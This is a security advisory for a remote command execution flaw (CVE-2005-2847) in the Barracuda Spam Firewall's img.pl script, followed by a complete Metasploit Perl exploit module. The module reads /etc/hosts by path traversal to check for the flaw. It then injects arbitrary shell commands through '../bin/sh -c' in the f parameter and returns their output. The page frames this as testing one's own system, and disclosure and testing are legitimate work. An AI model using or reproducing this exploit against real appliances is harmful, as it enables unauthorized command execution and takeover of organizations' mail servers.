Summary
The Barracuda Spam Firewall is "an integrated hardware and software solution for complete protection of your e-mail server. It provides a powerful, easy to use, and affordable solution to eliminate SPAM and viruses from your organization".

A remote code execution vulnerability exist in Barracuda Spam Firewall appliance's "/cgi-bin/img.pl" script, the following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The original article can be found at: http://www.milw0rm.com/id.php?id=1236
The original advisory can be found at: http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1

Details
Vulnerable Systems:
* Barracuda Spam Firewall version 3.1.18 and prior

Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::barracuda_img_exec;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
'Name' => 'Barracuda IMG.PL Remote Command Execution',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'Nicolas Gregoire <ngregoire@exaprobe.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'linux' ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 8000],
'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
'IMG' => [1, 'DATA', 'Full path of img.pl script', '/cgi-bin/img.pl'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits an arbitrary command execution vulnerability in the
Barracuda Spam Firewall appliance. Versions prior to 3.1.18 are vulnerable.
}),

'Refs' =>
[
['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],
['CVE', '2005-2847'],
['OSVDB', '19279'],
['BID', '14712'],
['NSS', '19556'],
],

'Payload' =>
{
'Space' => 512,
'Keys' => ['cmd'],
},

'Keys' => ['barracuda'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $vhost = $self->VHost;
my $target_port = $self->GetVar('RPORT');
my $img = $self->GetVar('IMG');

my $request =
"GET $img?f=%2e%2e/etc/hosts HTTP/1.1\r\n".
"Accept: */*\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
"Host: $vhost:$target_port\r\n".
"Connection: Close\r\n".
"\r\n";

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError){
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}

$self->PrintLine("[*] Establishing a connection to the target...");

$s->Send($request);
my $results = $s->Recv(-1, 20);
$s->Close();

if (($results =~ /HTTP\/1\..\s+200/) && ($results =~/127\.0\.0\.1/)) {

$self->PrintLine("[*] Vulnerable server detected!");
return $self->CheckCode('Confirmed');

} elsif ($results =~ /HTTP\/1\..\s+([345]\d+)/) {

$self->PrintLine("[*] The Barraccuda application was not found.");
return $self->CheckCode('Safe');
}

$self->PrintLine("[*] Generic error...");
return $self->CheckCode('Generic');
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $vhost = $self->VHost;
my $target_port = $self->GetVar('RPORT');
my $img = $self->GetVar('IMG');
my $encodedPayload = $self->GetVar('EncodedPayload');
my $cmd = $encodedPayload->RawPayload;

$img = $img."?f=".$self->URLEncode(qq#../bin/sh -c "echo 'YYY';#. $cmd .qq#;echo 'YYY'"|#);

my $request =
"GET $img HTTP/1.1\r\n".
"Accept: */*\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
"Host: $vhost:$target_port\r\n".
"Connection: Close\r\n".
"\r\n";

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError){
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$self->PrintLine("[*] Establishing a connection to the target...");
$s->Send($request);
my $results = $s->Recv(-1, 20);

if ($results =~ /HTTP\/1\.. 200 OK/im) {

(undef, $results) = split(/YYY/, $results);

$self->PrintLine(' ');
$self->PrintLine("$results");
$self->PrintLine(' ');

$self->PrintLine("[*] End of data.");

} else {
$self->PrintLine(' ');
$self->PrintLine("Doh ! Are you sure this server is vulnerable ?");
}

$s->Close();
return;
}

sub URLEncode {
my $self = shift;
my $data = shift;
my $res;

foreach my $c (unpack('C*', $data)) {
if (
($c >= 0x30 && $c <= 0x39) ||
($c >= 0x41 && $c <= 0x5A) ||
($c >= 0x61 && $c <= 0x7A)
) {
$res .= chr($c);
} else {
$res .= sprintf("%%%.2x", $c);
}
}
return $res;
}

sub VHost {
my $self = shift;
my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
return $name;
}